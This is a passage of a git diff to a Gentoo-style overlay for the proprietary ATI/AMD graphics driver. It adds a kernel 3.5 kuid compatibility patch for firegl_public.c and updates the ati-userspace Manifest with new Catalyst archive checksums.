+ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+ int minor,
+ struct proc_dir_entry *root,
+@@ -677,6 +873,7 @@
+
+ return root;
+ }
++#endif
+
+ static int firegl_proc_cleanup( int minor,
+ struct proc_dir_entry *root,
diff --git a/x11-drivers/ati-drivers/files/typesafe-kuid.diff b/x11-drivers/ati-drivers/files/typesafe-kuid.diff
new file mode 100644
index 00000000..c226ea3d
--- /dev/null
+++ b/x11-drivers/ati-drivers/files/typesafe-kuid.diff
@@ -0,0 +1,34 @@
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index d3ad3ce..9362b58 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -34,6 +34,11 @@
+ #include <linux/autoconf.h>
+ #endif
+
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++#include <linux/uidgid.h>
++#endif
++
++
+ #if !defined(CONFIG_X86)
+ #if !defined(CONFIG_X86_PC)
+ #if !defined(CONFIG_X86_XEN)
+@@ -1543,9 +1548,17 @@ KCL_TYPE_Pid ATI_API_CALL KCL_GetTgid(void)
+ KCL_TYPE_Uid ATI_API_CALL KCL_GetEffectiveUid(void)
+ {
+ #ifdef current_euid
++# if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++ return __kuid_val(current_euid());
++# else
+ return current_euid();
++# endif
+ #else
++# if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++ return __kuid_val(current->euid);
++# else
+ return current->euid;
++# endif
+ #endif
+ }
+
diff --git a/x11-drivers/ati-userspace/Manifest b/x11-drivers/ati-userspace/Manifest
index 86cbffe8..a1751e88 100644
--- a/x11-drivers/ati-userspace/Manifest
+++ b/x11-drivers/ati-userspace/Manifest
@@ -1,57 +1,19 @@
-AUX amd-drivers-3.2.7.1.patch 560 SHA256 7cc315754a47fbda6bf36bcee01780da7c19535c4f6ec1cccc556e9a7b32d263 SHA512 bcdc89e7a7148f5eb5450364298de6fb95dcad0d3c8d7091e9236d4f4b9cff0be24d59e8ed4ccdde0c8e94985ab8b4e7d5848e1e0e7102c699edb9230dbe57ce WHIRLPOOL 85ef893cd8bffa0d41b99eccd8b6e1ed713f69cc683dee52268ea0d6bc6fd4a77b3fdab31dd1e35ec3bbd21b399725286289c9fb3a276eff3922c1f8cf0746a2
-AUX ati-drivers-12.2-redefine-WARN.patch 1316 SHA256 f7d8ad3307823925cf8b4c6540db17a51553e48dd008793fc026803bb2aa1ced SHA512 1ee5f7fb5dc629f186754dc83a7d718a6a8acda836dadb2b87bd616c424db0aba067fb833d966cf79425ad78d94ab3f7c4014bbe2356f394630b0761625e74ab WHIRLPOOL 75987965689042342a923d4542a3f1b5eb4ba8ce3fc1ede82be8aeffaa2154a0dc75c507a4772bc00ef510eee7f4b47a51a2ea43aadce6e742e842e348c15b40
-AUX ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch 799 SHA256 0001fa7f2c3e15ec315f6c963dd428b682778c129250941a849577b8b3293e36 SHA512 a7ae5e7017c9b5a68d112d9a77df40ada722b06aff0cc31147713bfbce2419f9ca8c22b40398ab8b80c86427ff086a5617fb6de93d540af54365c7039cdcfe0f WHIRLPOOL 809c5bf8f0b0381af6a8549c36fcd00e75ff2f571f21cef3f2dec9ea823c65c29db28373b7145f39b9ed2cad234ec3c063407fb7a12260cfe1fe62eb67b5780d
-AUX ati-drivers-2.6.33.patch 3888 SHA256 88c242d50e9e158b5cdfe8de49abb49deb9f7d4fd4a3e014b9092a5eaa58332c SHA512 20d94e258766dff4b18ef26bee66f415b8975bbbae8dd4bfd2d7354538302c571747d5d672d3cdd1fd97bb4ce8e24756ab9afc7ebd55e9f7f19e3acee8bfaff1 WHIRLPOOL d7d753fa4a1c3f9432cf151a3ea524173036462c7850dc9309a8097bba61237194970e99d735f9efebf43253fc626e7b9ab1e69f95919fa76b2b60bf98696d61
-AUX ati-drivers-2.6.34.patch 358 SHA256 b6da2f0ad829a14b7e50d4ff2bab493ce45a2f4493bc558e28122c4fe7d4032c SHA512 a9329d3696d99395667a0b022fa64c1d4c35caeb144c9e08404613febe525d8e286ec36332232b0072bcf46e9380aa04fb01d010028ff0de8cb7aa530c91768e WHIRLPOOL cff3dab1b4b27bf99bc3861377849ecb5824228eeffb8a02fc0c2b2246b6a585443aaac7ef10a561ea9ac8d2ff00af378e2412dfafc62816fb9ab3f2515b8d71
-AUX ati-drivers-2.6.35-and-newer.patch 434 SHA256 6a962e79bfd01cd35488dc946c4e0056b5734c15711b6cb9e28c6fadc92d6bb4 SHA512 2a2d0bc62d946ac765a321cf0ab6c6d595622fc57426678f12c8c116f9f8f472e180f8349632ed725c612830f27af4f48180634555c3c7462ce8e59989c295f3 WHIRLPOOL cc2c87578729ade8268394084bde899ae1690a4c8720f4e4b6bb5c3778d896af434440a2993d87bf5a6d445757fdd86384344e4616e167122cc1d526705ad093
-AUX ati-drivers-2.6.36.patch 876 SHA256 00ffca26787d4c2cab6848cf0bec043e6c099c60738aebacb2148e920738fcb6 SHA512 2ee3a5b342aa13a64e033c0de109afa4330d85db440177804f24a3ed27a112719f688d8ad9b353d5b7c49ebb5a8944c397c0da552a59d33e12a8f3cb8493616c WHIRLPOOL c6b1937ec94e06d99b8c15b5d9c66b028d9171e21cc6d059f4e2ca571a88f6adb2d8cbbb7901e662d7e26a8c4c4e4835f6f4d49d43a72c627c4e2584c9f5c1f9
-AUX ati-drivers-2.6.37.patch 431 SHA256 fffd3d39f16fa57df020b2fddf17466a3633b7eac58dffa70525137010cc7ed6 SHA512 aac1a3cbbb333c5801c46a5e3c8b838c3f56cfbb68b851f8d3b89b383233e9b75aee0960b92bb4907665d14b97d8b8e3158a6ad2a0a92f1b8fab8a41766865fb WHIRLPOOL 2ef2cfa85c561572698bff4ed6bee1e2ac0ff9ffe30b802fc901bd0787837d77318c10acf14bf653da0e087ccf9492dcb07fd60c0e0173abf48d5e337b450ebc
-AUX ati-drivers-2.6.38.patch 1988 SHA256 32dcafbe0d584a36839b358acc777b2f2953e8d472f48722debb430f523ec11e SHA512 667623cae54669a736422511880936e6148105bc88e74b235db8c888148d0888cbe4bcd84d0344aa256cdf948796f85a39be686e66b0d2bac3375c4dfe4b5554 WHIRLPOOL b4b2de630be27741c2b9d645913aa73ec992adaa71f82f21b5ea748be5f9d6316e1b3fd11f8709ba6a87ef9ebffe4c7c9c1d6890a7f4011bd01b0792c993c83c
-AUX ati-drivers-CVE-2010-3081-fix.patch 2730 SHA256 bbace941d6e1e399b7ab46affe1887edb9a38892ccc2a498017146b838818afc SHA512 56b0aec0344788cf50765284f879fe804226fc930f43efaa0c8d536e0e3164ce3d9218236977fcca3499a5b199bd57e1e5c9d92c77a2658a75d82f47586e9082 WHIRLPOOL da473efb8149f8de43987c842d0214978eb08bbd6b3060cfec1fed50152501e5f10dbe02743d9e61888790f2e9fcecd6c0aa96d3ff9b6e48348885df14398fbe
-AUX ati-drivers-do_mmap.patch 1405 SHA256 3fc9bae50d25d3bfe76a3a1e89c8d025674a4cb9afd16d3a5d8b3c25a66f536d SHA512 1a2f8fe7f2506037d6d158e5c2efffa39c503566284d8f516cb2d84db546eced24df5dcb8d74ac84911589efb4547d7f8610d78ad29703f9ed0a9890576c51b7 WHIRLPOOL 86daa957d7569b26fdf92929e5b04a32379af067a208628eab1a4541fdebfb51fa4bfedeec63f4685c6258adcba2ddc4223b69dca329ecbebd4ba13167f66f82
-AUX ati-drivers-fix_compilation-bug-297322.patch 1114 SHA256 edbfc56eec848389c3dfdd94362322de41027b9813128d2d4f8e476d1d8581e3 SHA512 c2c4674ff63b05c4f5f007c64f70ebfd4bf6ba1a82938f06647d9683315105e3cee77716eed1efdd599177457164e339145ed0d51f2bbd7ad1f383dbb64634cd WHIRLPOOL bd3aa26fb333850ac0a5b554ab7cd5ac583ef9f277d6ada64d27dcfef0f1fe5174f67e04f8e951275fcfe449a80d2701c3a1d85e65ac55ef5665144924b2b127
-AUX ati-drivers-kernel-3.8-acpihandle.patch 717 SHA256 f7012bbc1d27a4d9207f8ba78256684a74b917311f525d3b061c11caefad2846 SHA512 a064ad1ebbb1010349c22d6fd6a4a3715df3d7087353a70199957b5c1c325b533b21c3f004567362a834faa0d8f169296ef996765d47439fdad4109a0d01f85c WHIRLPOOL e0eb93cd367f9e6e1848c3c3301c914f783865eb5d6c11a27a334624ee84cf7ee99073a6a2ff69014c8b920a51933573bf1224f53ea64c2666968f93ca922003
-AUX ati-drivers-old_rsp.patch 989 SHA256 dd222de89b515046c6cbfef172a3ec8d4bc48664799b3bbfff648091c6d54b49 SHA512 b86a230f126950d309b899ab3445154cf38cb8127b7686d0a467df6d3561a1785747e9522c00b55a294961c1157fe41833a5a85d4737775ae68bdb4099b0ee37 WHIRLPOOL cd06422ee90587c5c7485074b03ccaaef921134c721c0d0f6f678a9c968aae6417523c77d6dfcccc856cb5d125579197cd3c6a5b1c8557ce621784eabd0c43fa
-AUX ati-drivers-vm-reserverd.patch 408 SHA256 61128444938f94f911325b6cac810d3cb3614d0002758e48ba976b678414df30 SHA512 34cd4705f632b1493eac756538eb21fe0e090f78cf92cde7c2a7094a8fc8134ee6d5dd24c6bb9ad18c8ef46dd1d5505ae12d43032265cd4ade03793f277fe4c2 WHIRLPOOL 5a1a98145576b20bdd2e80e5f7f9a2b9bab02942a9fb83814d73d17f1bfec690ee0cd2ccfdf418f297e75432d8fcee8164a1d179eeb5bc716e1becf96bb373f1
-AUX ati-drivers-x32_something_something.patch 486 SHA256 9eb114a797089fca3693420305a6b668c4d7a16a722d5faa53dd904bba1b4c07 SHA512 157884244a49748c897a2eca1a46bf40631042d15af85c2b2f49bc3c3c48f5638dec815a4e9c67ee2c8b88cc15b7f71e9fe4d9bfebf5444bb169542048f66499 WHIRLPOOL f7583d7df16c9eb608aff2330b4bd55ede34986e6f3cf63aa4cb2c77dcfade7c499f1b4cef95fdc8e6ab28d7bb5544a80703bcf5a41eae6b90ca8830b6fdd888
-AUX ati-drivers-xen.patch 1994 SHA256 514dad9629fc689ec0344875a29d713f9d8de7ccbb0a22a2b80ede11bbbc6c58 SHA512 28eeaeea4589a5d87759e318abcf4f8d8e9b2fb3e289f76001cc17f8e515135aa023a424a0149240ad64fcf7721d15864c7218c30c3a097240c800384991e77f WHIRLPOOL 0f0965808d4270e8421d87575ffb1e51a2e095c746e7f536bb091b03287543d176f582976bfec51a5b9eb14c2e3a04c126b23447a6eb39f6e90eb76eda42236d
-AUX ati-powermode-opt-path-2.patch 1634 SHA256 e7749e04a3aa24132b13d0c694563a45c0d38e238f7412a75bd89aa9f9e9ead1 SHA512 7fc91789157d6211726d26be066e3984871eb579c77c422bde27f489f72215e66dbfb5d477ea6882d46ed6d0c63b9f01fdd5ee196fd6a2809bfc3ca22badc859 WHIRLPOOL a3d6f9335c748192a65bb3493a1dd2f604ef6b1270760908bb541d10ac9c4eb8009d7d5fb145b37c6fbfc1512a70ecda3c79f6f56396f8424f072fb92059e0a2
-AUX ati-powermode-opt-path-3.patch 1471 SHA256 35e73fef3d8e39714e8d6e73afaa7b205505db3bdd65c364e7ea02fdc0cb3055 SHA512 0e17026847062117993ba6115942d16421f6b9943afd57913c96e7550b0e49f3ed10e06bc98f9db1a5ba4af7c42dae6b55a332a97e73d48dba7f61ed0ad35ad4 WHIRLPOOL 39861d10d307e537549ed0c7967e18ad3ef658af66396f5491d1f2e13ab13e8b8e252d4c14b5ab616ff5aad69a599cf3b32accedd51438021d50cc074fa296a8
-AUX atieventsd.init 533 SHA256 20010ebc5cb286149f3c4c9c099b6470463ccdb8fd47cea054b783dc2ad1fff3 SHA512 9f8990bb5619f99524e0759a1c4b41b0b2c081c6eecb3916ab60df8e6b59d99e3615af61e0ba5b71d003ccaaf41e2143237b26f36f64f00a47e0fe94f83473dd WHIRLPOOL 21979818a19bc27e3527958c66bf45654df4a307862897530bc02be6616f45ee210590a9d1bcab84336c6061482034010efbb251770bfaf023f20ffae8212ecd
-AUX const-notifier-block.patch 878 SHA256 cd73f5e15d9521a989d8cd9b7e3b252406e7b89fdfc129fd2d470f0bc86e8457 SHA512 1b84cb85ce903d80ad50a0e2d53509016625d1ede070e18b800408d486dc89d5283d801d6449eb81ee25a7adffbd0094b57a301842364e1fb58cc6bf9623e5b4 WHIRLPOOL ee9785d250632cd8843a5995f36442ff6abec2d5a7158f3604a6bc147c7db251608b9484c3ac95376c4cc6b6a15f6682675bd011eb6a193a073ba873e17a9872
-AUX kernel/2.6.31-fglrx_find_task_by_vpid.patch 581 SHA256 4e95b588e894cfb89270168cd771c67bf270c805f30481fceebe47aac3f36980 SHA512 e65f31db60cd99c99dfba95c2f2fe0ee5f434092e7218dbdf6a727e3ffaab3d511541aa1ab64a53589d6fc89023c45d972708c0bd925840fa568f0d7f6faa512 WHIRLPOOL ee1061bff86a5711474eaea8b1b8a2cad5ff02e9a093e197af9a55e9b2dc33ed6bf38dfe02afec4f910250a241900049dd3986c65e95f98991a46549cb37c343
-AUX kernel/2.6.32-9.11-fix_compilation.patch 1434 SHA256 bd2df542c237d0570c3c75c0251514bbf8b67f3ceb40e734916ea53c75c189b7 SHA512 6676ba917616324e58a8df498cd2611523a38e2dfb5ea5683580951d3a39b2cc0040e00bc2238d1ef94f009e1771a6dddb2c02988d8af9aae6373f717ab9234b WHIRLPOOL 605bf802feede69c43a515b3b289c181c50b2f176028c7d170c41dd641bd5efed7d0ccad668d21a3d7c5c5c0f6418e317ba6c723e773269d063afb8990bae95b
-AUX switchlibGL 1349 SHA256 a4aa2107fdb903da77fea432bc809a1155e213db460fdec72fd1c3c7cc0d13a0 SHA512 51d2912aa6ec2002b096c0483be69650d682feec54486ed5226b91988bc1516f718c71d9f58a2b28e0dbc512c0300ea271f9a97885776dd045fe324f1549b85d WHIRLPOOL d335ea9c57a28f8450423089bbf798da77cc72fff6bad1221989412808abcd6bcb7afa41aa2b04231feff3dac6eaaff58a7595173e53b6cf0f5d3d591997b43d
+DIST amd-catalyst-13.12-linux-x86.x86_64.zip 160571830 SHA256 024033f4847d1c2a182fc44e0b3df29b2d133e24aeaba390f4504a8f3361a0ca SHA512 bf02aea47dc0588e8fe6590ff5665b25b34b3e10499348e2eb786ba89b32703897753852e6ee8ed52c3d0f8eef46f2026d130329d7af75191e605975379d0109 WHIRLPOOL bcdac0f9641cfdc6d89cd5544fe22dda91f64ae8d34dcd25b55930702108b1bee1db0cdc85d8a68a78fddc34f7f30ab88c9813d3a6ba38b3abf37a24d6210707
DIST amd-catalyst-13.4-linux-x86.x86_64.zip 122588023 SHA256 ebec78c7f78db3601d1c97116a6823076a7765318e16d88b619ebc80d4c6d1d5 SHA512 ce012f46527ee0073f658e97dd793954930b934b96be9e1c6cd1d344e7734ef81949b484701d5e7e1ebb221f46b5a617f4efb4445e42c06ac0a8b4eca76463fc WHIRLPOOL cb0f7af6d0474c3d521c5785bab49d76da7e09e1ddd02dc0e72b70b5afdb2bd1e07d4a4115a755f213718e7c32c816697d993b73706d58be68fa043aef1ad551
-DIST amd-driver-installer-12-1-x86.x86_64.run 106085279 SHA256 8d76700e0db68f74f735808ee7fd446cb5072734ba6ec03f2dd82c05ebfdc81d
-DIST amd-driver-installer-12-2-x86.x86_64.run 107213014 SHA256 054796cbf2d99e4b545d062ce8eabfd973e74e2e21a159092816238b001618fd
-DIST amd-driver-installer-12-3-x86.x86_64.run 108029053 SHA256 5f90c7e472ca0095efc16097ac7bcda846be0e980cc4d3e588cc4089efe8fb57 SHA512 5c5380dfcebacb7c4d7f0e6ffc5d26955f155266577c903bd4b4fc9d9bf5f241e6e13dc7ee14e14c96e9e0ad19d7d6680609978cfa1c5c4ec2f5d50881a43ee0 WHIRLPOOL 5e179a0ef89520dea6a5d249f4c55bd58310769131edc82babfb66c9ce946511effe7a32e883ba30a9bc40a3e6dc8194b57cbbfe0cb2593bec463de7816612f1
-DIST amd-driver-installer-12-4-x86.x86_64.run 108360519 SHA256 7f3ba3d96eba30fc09aec03ba72f5482d3b192bb0ea63a5e7b79454b053cb63c SHA512 fe466df547a05efb37b0dd1c685f819ceb51af83acefd65f2e500ab9165feac841d4b07afc32dc26391762963e929624e55115c0f505acb78289540baaadcfb5 WHIRLPOOL 7aa8817e75943977b753a93015a7d1e0f7a95383e6aaae7317da29eb07caa520a5376b2ab80e7caded543939d3c9428b80d915d5ba3d8377068349189890729c
-DIST amd-driver-installer-12-6-x86.x86_64.run 106660241 SHA256 b5c6070dc75e9296d0f04e7e0b3c6697f6c21872d50b1dcf4d7b3b0ab7ce7155
-DIST amd-driver-installer-12-8-x86.x86_64.zip 105413213 SHA256 62525173b2b7602aa4e7e46a109204d0f349abfbb135c86d03db5cd57642bb41
-DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 106888385 SHA256 5353a3f874d31f0fde46c390ce17cc2f27875156dbf3e7c20b5cca494a058102
-DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 111686672 SHA256 ca2a097324687245801b3350316880d706c82f43684839dcf7f86f55141d835d SHA512 cef8a1f822d2a9bd81cf85c1410b75d400808946443c2bf95281f7c2cbcf376ac423199f41125825ed6639eaacd14ea688acc5c5b164186a4715b62ed6f5fb63 WHIRLPOOL 2186151882d9ba69af2a39a0a4dbb26adbff87fe69a90c40798e2390c44ce100e8d71f03c0c86e3a8be5d3429f98f3c107578aa5508b6fb983ca4235e0de8f74
+DIST amd-catalyst-13.9-linux-x86.x86_64.zip 120482826 SHA256 ebade5062713c69d2b703b0a3f62defc409d58e98ceab3bfac7a71643c0c4cd3 SHA512 887c1146920ba7e5b31efd63b1a1b7d9cab586e8c6d705706e0b176b3527e542f452d919cd015c3a04d6f42c884f27d983b2a9229b70716129a94674dd7f62b4 WHIRLPOOL d8b6c7ed772898914c256674ae08a8b3d3054eb5bdfc2f00dc4c796a36b4654c3101410786adb54eaae44ff35386db2aa8d8db12d70805f8732d0709412bdbcc
+DIST amd-driver-installer-12-1-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-2-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-3-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-4-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-6-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-8-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
DIST amd-driver-installer-catalyst-13.1-linux-x86.x86_64.zip 114850263 SHA256 67898a922b6b58f25a276a144f16b19014f79c39e4d44d8d2883a467d31e34ad SHA512 30763ab7f47ac22c5b5055495e2d8ae6cc2c8e5ce711fa389f1145a48da2799020c2b8cbf082759d93628017860c39d69337f42ce21b78e1d60c9eda32096df9 WHIRLPOOL ee5dc85a89bc56858ef1c2bcdc6cbfde7e2f9e5675d209c1f6db877e0104cc536f1e18139f0b991a064b14b231a982770eef47368ea281067d62647b4c5365a5
-DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e
-DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013
-DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42
-DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f
-DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf
-DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56
+DIST ati-driver-installer-11-10-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-11-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-12-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-6-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-8-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-9-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
DIST xvba-sdk-0.74-404001.tar.gz 583847 SHA256 731a2c489f2fb5d7318c1976061b26c1057a696f46d09dcf55fbada97fed17eb SHA512 aa1dd52b59eeeabd026d8b76e3b75eaf02587ef286438ba28884afeef5a5efaf50283b5ee4f5b81b12cf79cb4ec77c9a235a886b29fb7cdf850c9779f4b07b35 WHIRLPOOL 69917b746d353a884512e97b9d9a9b89e6f51add3119e69ddd119d51c0c3f2820b93a449fe42bd76d671dc505f92bf25b7f2c5868b33768fc68a19596e460951
-EBUILD ati-userspace-11.10.ebuild 11808 SHA256 059b1b3e10aaacb0ffe885ba70f5fa02d2545e89d19822b0780e75a1320aaaec SHA512 675a0f714e8e711783a58a985711c79583f818a82a7a6b376c4a95939e11565ec47ca70dcaf5358c6858ea759178a37d09a754afd1022a1295c51a47e750226b WHIRLPOOL 0caeafe4b7713184287f6646ac40b8e87157078e106bc9c86088d411238113511d9235c1a6dd45825391b3b14073fe5fd3f671f37975f3c8ed04545f79ac90a1
-EBUILD ati-userspace-11.11.ebuild 12763 SHA256 037611b73fe20c860bb83583e2ce3a074d01f62b7dc4e76035d8bdbf041cbe47 SHA512 ae16bea39a77a7084d5de78d3a6f39a9cc6717e839c07782e2b7306f0bb6711496413b11094bb31b6c471ae8280ff11bc076cf883d6c3f35ab5763f8bea459c0 WHIRLPOOL 1126de31e5fe44cb74cf753088405fff8c94506f97985702b5d74bad0e61d9367dd982676637b6934c85d76f42ae8c798830f8fb9985c67c1ef9f2728ecdc69f
-EBUILD ati-userspace-11.12.ebuild 12763 SHA256 037611b73fe20c860bb83583e2ce3a074d01f62b7dc4e76035d8bdbf041cbe47 SHA512 ae16bea39a77a7084d5de78d3a6f39a9cc6717e839c07782e2b7306f0bb6711496413b11094bb31b6c471ae8280ff11bc076cf883d6c3f35ab5763f8bea459c0 WHIRLPOOL 1126de31e5fe44cb74cf753088405fff8c94506f97985702b5d74bad0e61d9367dd982676637b6934c85d76f42ae8c798830f8fb9985c67c1ef9f2728ecdc69f
-EBUILD ati-userspace-11.6.ebuild 11866 SHA256 093f6ee56546dc837d73acb6c4e07dfac8f70af81bb914d608e4917f462ad58c SHA512 86bd9e91aa32e091b6633315ad954f3bb277aabd6ebee14b730d426f0121c2315ce51ef9d1ca19f72121f374affa100b237a3f08495a8d6b6d8974287676e43d WHIRLPOOL 2dd3a009805d6aec3c1d7d968457f447b9d8393581a6cd795c5ca7deab565497c92c318be9759ba881763e41865a18ff846b5ef596550c3755074f7a335a18a5
-EBUILD ati-userspace-11.8.ebuild 12248 SHA256 3e31c77d138ae1c1fcee0984f50dfd801816e57945af8a53b134c45da9ba3273 SHA512 3ad402cfb8fcdf243ecf7c2fe3e91a23aaa89dec17a42aef78768efcd7edf570a3cf226ffa8d4e89c670a2428669fb01bb712a090784d14df60c3edc5ea30a45 WHIRLPOOL 2f0f6a1f7c372ebe51c832c9ec04bba8fc08f48e103e949c2fd53b96b880c758289fccfba3fb7348f0419de0642e1c4046642662258b16189e00a3c8e9a0ae22
